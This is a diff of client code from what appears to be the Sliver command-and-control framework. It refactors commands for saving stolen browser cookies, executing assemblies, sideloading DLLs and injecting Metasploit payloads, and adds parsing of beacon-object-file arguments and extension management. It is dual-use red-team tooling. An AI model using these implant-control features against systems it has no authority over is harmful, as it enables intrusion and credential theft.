Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CleanCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: constants.GenericHelpGroup,
|
||||
}}
|
||||
}
|
||||
@@ -21,9 +21,10 @@ package cursed
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"encoding/json"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -46,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
|
||||
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
|
||||
|
||||
err = os.WriteFile(saveFile, jsonBytes, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -95,7 +95,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Arguments: assemblyArgs,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
|
||||
@@ -64,7 +64,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || hidden || ppid != 0 {
|
||||
if session.OS != "windows" {
|
||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,7 +49,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
return
|
||||
}
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
|
||||
@@ -39,8 +39,16 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) < 1 {
|
||||
cmd.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
binPath := args[0]
|
||||
binArgs := strings.Join(args[1:], " ")
|
||||
var binArgs []string
|
||||
if len(args) > 1 {
|
||||
binArgs = args[1:]
|
||||
}
|
||||
|
||||
entryPoint, _ := cmd.Flags().GetString("entry-point")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
@@ -57,7 +65,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: binArgs,
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -38,7 +37,10 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
binPath := args[0]
|
||||
dllArgs := strings.Join(args[1:], " ")
|
||||
var dllArgs []string
|
||||
if len(args) > 1 {
|
||||
dllArgs = args[1:]
|
||||
}
|
||||
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
exportName, _ := cmd.Flags().GetString("export")
|
||||
|
||||
@@ -0,0 +1,413 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
|
||||
// and converts them to a BOF-compatible binary buffer
|
||||
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
// Create a flag set and parse the arguments
|
||||
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Print debug information about parsed flags
|
||||
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
|
||||
// Initialize the BOF arguments buffer
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Process arguments and build the buffer
|
||||
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
|
||||
stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Return error if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
// Get the final binary buffer
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get buffer: %v", err)
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
|
||||
// and parses the provided arguments
|
||||
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
|
||||
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
|
||||
|
||||
// Create a new FlagSet
|
||||
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
|
||||
|
||||
// Maps to store flag value pointers
|
||||
stringValues := make(map[string]*string)
|
||||
intValues := make(map[string]*int)
|
||||
shortValues := make(map[string]*int)
|
||||
fileValues := make(map[string]*string) // Path to file data
|
||||
wstringValues := make(map[string]*string)
|
||||
|
||||
// Define expected flags based on manifest arguments
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
flagDesc := arg.Desc
|
||||
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
stringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "wstring":
|
||||
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "int", "integer":
|
||||
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "short":
|
||||
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "file":
|
||||
fileValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
default:
|
||||
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the arguments
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return nil, nil, nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
|
||||
}
|
||||
|
||||
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
|
||||
// Returns a list of missing required arguments and any error encountered
|
||||
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
|
||||
stringValues, wstringValues map[string]*string,
|
||||
intValues, shortValues map[string]*int,
|
||||
fileValues map[string]*string) ([]string, error) {
|
||||
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
for _, argDef := range ext.Arguments {
|
||||
var provided bool
|
||||
var err error
|
||||
|
||||
// Process based on argument type
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
|
||||
case "wstring":
|
||||
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
|
||||
case "int", "integer":
|
||||
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
|
||||
case "short":
|
||||
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
|
||||
case "file":
|
||||
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// If argument not provided, handle according to rules
|
||||
if !provided {
|
||||
if argDef.Optional {
|
||||
// Try to apply default or type-appropriate zero value
|
||||
err = bofApplyDefaultValue(argDef, argsBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// Required argument was not provided
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return missingRequiredArgs, nil
|
||||
}
|
||||
|
||||
// bofProcessStringArg processes a string argument
|
||||
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := stringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessWStringArg processes a wide string argument
|
||||
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := wstringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddWString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessIntArg processes an integer argument
|
||||
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := intValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddInt(uint32(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessShortArg processes a short integer argument
|
||||
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := shortValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddShort(uint16(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessFileArg processes a file argument
|
||||
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := fileValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
// Validate file exists and read it
|
||||
data, err := os.ReadFile(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofApplyDefaultValue applies a default value based on the argument definition
|
||||
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
|
||||
// Try to use default value from manifest if available
|
||||
if argDef.Default != nil {
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
// Handle string default - could be string literal or numeric in JSON
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
// Try to convert from other types
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "wstring":
|
||||
// Handle wstring default
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddWString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "int", "integer":
|
||||
// Handle int default - could be number or string in JSON
|
||||
var defaultInt uint32
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultInt = uint32(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 32)
|
||||
if err == nil {
|
||||
defaultInt = uint32(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddInt(defaultInt)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
|
||||
|
||||
case "short":
|
||||
// Handle short default - could be number or string in JSON
|
||||
var defaultShort uint16
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultShort = uint16(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 16)
|
||||
if err == nil {
|
||||
defaultShort = uint16(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddShort(defaultShort)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
|
||||
|
||||
case "file":
|
||||
// Default for file doesn't really make sense, but handle for completeness
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
} else {
|
||||
// No default specified in manifest, use type-appropriate zero values
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
err := argsBuffer.AddString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "wstring":
|
||||
err := argsBuffer.AddWString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "int", "integer":
|
||||
err := argsBuffer.AddInt(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "short":
|
||||
err := argsBuffer.AddShort(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "file":
|
||||
// Empty data for optional file
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// bofDebugPrintParsedFlags prints information about the parsed flags
|
||||
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
|
||||
stringValues map[string]*string,
|
||||
wstringValues map[string]*string,
|
||||
intValues map[string]*int,
|
||||
shortValues map[string]*int,
|
||||
fileValues map[string]*string) {
|
||||
|
||||
fmt.Println("parsed flags:")
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
wasProvided := bofFlagWasProvided(fs, flagName)
|
||||
|
||||
if wasProvided {
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
|
||||
case "wstring":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
|
||||
case "int", "integer":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
|
||||
case "short":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
|
||||
case "file":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// bofFlagWasProvided checks if a flag was explicitly set
|
||||
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
|
||||
provided := false
|
||||
fs.Visit(func(f *flag.Flag) {
|
||||
if f.Name == name {
|
||||
provided = true
|
||||
}
|
||||
})
|
||||
return provided
|
||||
}
|
||||
@@ -1,34 +1,28 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
// Commands returns the 'extensions' command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "Manage extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
GroupID: consts.ExecutionHelpGroup,
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, _ []string) {
|
||||
ExtensionsCmd(cmd, con)
|
||||
},
|
||||
}
|
||||
|
||||
extensionCmd.AddCommand(&cobra.Command{
|
||||
Use: consts.ListStr,
|
||||
Short: "List extensions loaded in the current session or beacon",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExtensionsListCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
extensionLoadCmd := &cobra.Command{
|
||||
Use: consts.LoadStr,
|
||||
Short: "Temporarily load an extension from a local directory",
|
||||
@@ -66,3 +60,30 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
return []*cobra.Command{extensionCmd}
|
||||
}
|
||||
|
||||
func SliverCommands(con *console.SliverClient) []*cobra.Command {
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "Manage extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
GroupID: consts.InfoHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
|
||||
}
|
||||
|
||||
listCmd := &cobra.Command{
|
||||
Use: consts.ListStr,
|
||||
Short: "List extensions loaded in the current session",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExtensionsListCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
extensionCmd.AddCommand(listCmd)
|
||||
|
||||
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
|
||||
|
||||
return []*cobra.Command{extensionCmd}
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -35,7 +36,7 @@ import (
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions.
|
||||
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
if len(GetAllExtensionManifests()) > 0 {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
@@ -67,8 +68,12 @@ func PrintExtensions(con *console.SliverClient) {
|
||||
for _, extension := range loadedExtensions {
|
||||
//for _, extension := range extensionm.ExtCommand {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
installed = "✅"
|
||||
//if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
for _, installedManifest := range installedManifests {
|
||||
if extension.Manifest.RootPath == installedManifest.RootPath {
|
||||
installed = "✅"
|
||||
break
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Manifest.Name,
|
||||
@@ -97,6 +102,9 @@ func extensionPlatforms(extension *ExtCommand) []string {
|
||||
return keys
|
||||
}
|
||||
|
||||
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
|
||||
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
|
||||
// The returned manifests have their RootPath set to the directory containing their manifest file.
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
@@ -110,11 +118,48 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest.RootPath = filepath.Dir(manifestPath)
|
||||
installedManifests[manifest.Name] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
|
||||
// loaded into memory but not permanently installed. The map is keyed by the manifest's
|
||||
// Name field.
|
||||
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
|
||||
tempManifests := map[string]*ExtensionManifest{}
|
||||
for name, manifest := range loadedManifests {
|
||||
tempManifests[name] = manifest
|
||||
}
|
||||
return tempManifests
|
||||
}
|
||||
|
||||
// GetAllExtensionManifests returns a combined list of manifest file paths from
|
||||
// both installed and temporarily loaded extensions
|
||||
func GetAllExtensionManifests() []string {
|
||||
manifestPaths := make(map[string]struct{}) // use map for deduplication
|
||||
|
||||
// Add installed manifests
|
||||
for _, manifest := range getInstalledManifests() {
|
||||
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
|
||||
manifestPaths[manifestPath] = struct{}{}
|
||||
}
|
||||
|
||||
// Add temporarily loaded manifests
|
||||
for _, manifest := range getTemporarilyLoadedManifests() {
|
||||
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
|
||||
manifestPaths[manifestPath] = struct{}{}
|
||||
}
|
||||
|
||||
// Convert to slice
|
||||
paths := make([]string, 0, len(manifestPaths))
|
||||
for path := range manifestPaths {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
|
||||
@@ -40,11 +40,26 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
|
||||
// It reads the extension manifest, validates it, and copies all required files to the extensions
|
||||
// directory. If an extension with the same name already exists, it can optionally prompt for
|
||||
// overwrite confirmation.
|
||||
//
|
||||
// Parameters:
|
||||
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
|
||||
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
|
||||
// - con: Sliver console client for displaying status and error messages
|
||||
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
|
||||
//
|
||||
// The function will return early with error messages printed to console if:
|
||||
// - The manifest cannot be read or parsed
|
||||
// - Required directories cannot be created
|
||||
// - File copy operations fail
|
||||
// - User declines overwrite when prompted
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
@@ -64,15 +79,24 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
return
|
||||
}
|
||||
|
||||
// Use package name if available, otherwise use extension name
|
||||
// (Note, for v1 manifests this will actually be command_name)
|
||||
packageID := manifestF.Name
|
||||
if manifestF.PackageName != "" {
|
||||
packageID = manifestF.PackageName
|
||||
}
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
forceRemoveAll(minstallPath)
|
||||
}
|
||||
@@ -94,7 +118,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
if isGz {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path)
|
||||
} else {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
@@ -106,7 +130,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
|
